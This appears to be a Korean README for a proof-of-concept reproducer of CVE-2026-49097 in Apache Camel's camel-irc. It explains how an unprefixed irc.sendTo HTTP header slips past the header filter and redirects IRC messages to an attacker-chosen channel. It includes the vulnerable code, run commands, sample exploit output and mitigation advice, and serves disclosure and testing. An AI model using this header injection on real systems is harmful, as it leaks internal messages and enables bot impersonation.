
CVE-2026-49097(Apache Camel camel-irc)용 PoC 재현기: Camel 접두사가 없는 irc.sendTo 헤더가 HTTP 헤더 필터를 우회하여 프로듀서에 구성된 채널을 덮어쓰고, IRC 메시지를 공격자가 선택한 대상으로 리다이렉트합니다. 4.14.8/4.18.3/4.21.0에서 수정되었습니다.
이 프로젝트는 Apache Camel의 camel-irc 컴포넌트에서 발생하는 메시지 헤더 인젝션(message-header injection) 을 시연하며,
CVE-2026-49097로 추적됩니다. IrcProducer는 irc.sendTo 헤더를 읽어 나가는 IRC 메시지의 목적지를 선택합니다.
해당 헤더가 존재하면 엔드포인트에 설정된 채널 목록을 덮어씁니다:
// IrcProducer.process (영향받는 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class); // "irc.sendTo"
...
} else if (sendTo != null) {
connection.doPrivmsg(sendTo, msg); // 공격자가 선택한 목적지
} else {
for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
connection.doPrivmsg(channel.getName(), msg); // 의도된, 설정된 채널(들)
}
}
헤더 상수 IRC_SEND_TO는 일반 값 irc.sendTo를 가집니다. Camel / camel 접두사로 시작하지 않기 때문에
HTTP 경계에서 Camel 헤더 네임스페이스만 차단하는 HttpHeaderFilterStrategy는 이를 통과시켜
인바운드 HTTP 요청에서 Exchange로 직접 전달되게 합니다.
HTTP 컨슈머(예: platform-http)를 irc: 프로듀서로 연결하는 라우트에서 모든 HTTP 클라이언트는
irc.sendTo를 제공할 수 있으며, 메시지를 임의의 IRC 채널이나 닉으로 리다이렉트하여
내부 채널로 보내려던 콘텐츠를 공격자가 모니터링하는 목적지로 유출시키거나,
다른 채널에서 봇을 사칭할 수 있습니다. 동일한 수정에서 irc.* 상수 9개가 더 이름이 바뀌었지만,
irc.sendTo가 직접적으로 악용 가능한 상수입니다.
이 PoC는 그 영향을 메시지 리다이렉션 / 정보 공개 (CWE-20 → CWE-74) 로 시연합니다.
권고: https://camel.apache.org/security/CVE-2026-49097.html
이 수정은 10개의
irc.*헤더 상수를CamelIrc*규칙(예:irc.sendTo→CamelIrcSendTo)으로 이름을 바꾸어, 다른 모든 Camel 제어 헤더처럼 HTTP 경계에서 필터링되도록 합니다. CVE-2025-27636, CVE-2026-46454, CVE-2026-48206과 같은 계열입니다. 참고:camel-irc는 4.21.0부터 더 이상 사용되지 않습니다(deprecated).
취약점은 전적으로 IrcProducer의 목적지 선택에 있으며, IRC 소켓은 단지 전송 수단일 뿐입니다. 이
재현기는 실제 IrcProducer와 실제 irclib IRCConnection 클래스를 실행하되, 이를 하위 클래스로
만들어 모든 do* 명령( doPrivmsg 포함)이 통과하는 send(...)가 소켓에 쓰는 대신 PRIVMSG 대상을
기록하도록 합니다. 작은 커스텀 irc 컴포넌트가 그 기록용 연결을 제공합니다. 실제 IRC 네트워크에는
연결되지 않습니다.
from("platform-http:/notify")
.to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");
고정된 내부 채널 #alerts로 전달하는 "notify" 엔드포인트입니다. HTTP API에는 목적지 매개변수가
없습니다 — 작성자는 클라이언트가 채널을 선택할 수 없다고 가정합니다. 공격자는 irc.sendTo를 설정하고
봇이 공격자가 선택한 채널에 게시하도록 합니다.
CVE-2026-49097/
├── pom.xml # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml # 단일 자립형 서비스
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── RecordingIRCConnection.java # 실제 IRCConnection 하위 클래스; PRIVMSG 대상을 기록, 소켓 없음
│ ├── RecordingIrcComponent.java # 기록용 연결을 제공
│ ├── IrcComponentConfig.java # 'irc' 스킴으로 등록
│ ├── IrcRecorder.java # 마지막으로 전달된 대상 + 텍스트 캡처
│ ├── VictimRoute.java # platform-http:/notify -> irc:...#alerts
│ └── ExploitController.java # 공격자: irc.sendTo=#exfil-channel 인젝션
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49097 — camel-irc irc.sendTo header injection (message redirection) ===
Route intent: POST /notify -> IRC channel #alerts (fixed in the endpoint config)
1) Legitimate POST /notify (no irc.sendTo header)
IRC message delivered to: #alerts
text: Revenue report Q3: $4.2M (internal distribution only)
2) Injected POST /notify with header 'irc.sendTo: #exfil-channel'
IRC message delivered to: #exfil-channel
text: Revenue report Q3: $4.2M (internal distribution only)
>>> PROVEN: an inbound HTTP header (irc.sendTo) passed the Camel HTTP header filter and
>>> overrode the producer's configured channel, sending the internal notification to an
>>> attacker-chosen IRC destination (exfiltration / bot impersonation): true
4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23629)로 업그레이드하세요. 업그레이드 후에는 헤더를 통해 IRC 목적지를
설정하는 라우트에서 CamelIrcSendTo 이름을 사용해야 합니다. 참고로 camel-irc는 4.21.0부터 더 이상
사용되지 않습니다.
업그레이드할 때까지 신뢰할 수 없는 모든 인그레스에서 irc: 프로듀서 앞단의 camel-irc 제어 헤더를
제거하고(예: removeHeaders("irc.*")), 목적지는 신뢰할 수 있는 소스에서 설정하세요.
이 재현기는 공개적으로 공개되고 수정된 취약점에 대한 보안 연구 및 승인된 테스트 전용으로 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.
| 속성 | 값 |
|---|
| 컴포넌트 | camel-irc |
| 영향받는 클래스 | org.apache.camel.component.irc.IrcProducer — IrcConstants.IRC_SEND_TO("irc.sendTo")를 읽음 |
| CWE | CWE-20 (부적절한 입력 검증) / CWE-74 (인젝션) |
| 영향 | 나가는 IRC 메시지를 공격자가 선택한 채널/닉으로 리다이렉트 (유출, 사칭) |
| 전제 조건 | 라우트가 HTTP 컨슈머를 irc: 프로듀서로 연결함; 컨슈머가 인증되지 않은 경우 |
| 영향받는 버전 | 4.0.0부터 4.14.8 이전, 4.15.0부터 4.18.3 이전, 4.19.0부터 4.21.0 이전 |
| 수정된 버전 | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23629 (PR apache/camel#23594) |
| 발견자 | Yu Bao (PayPal) |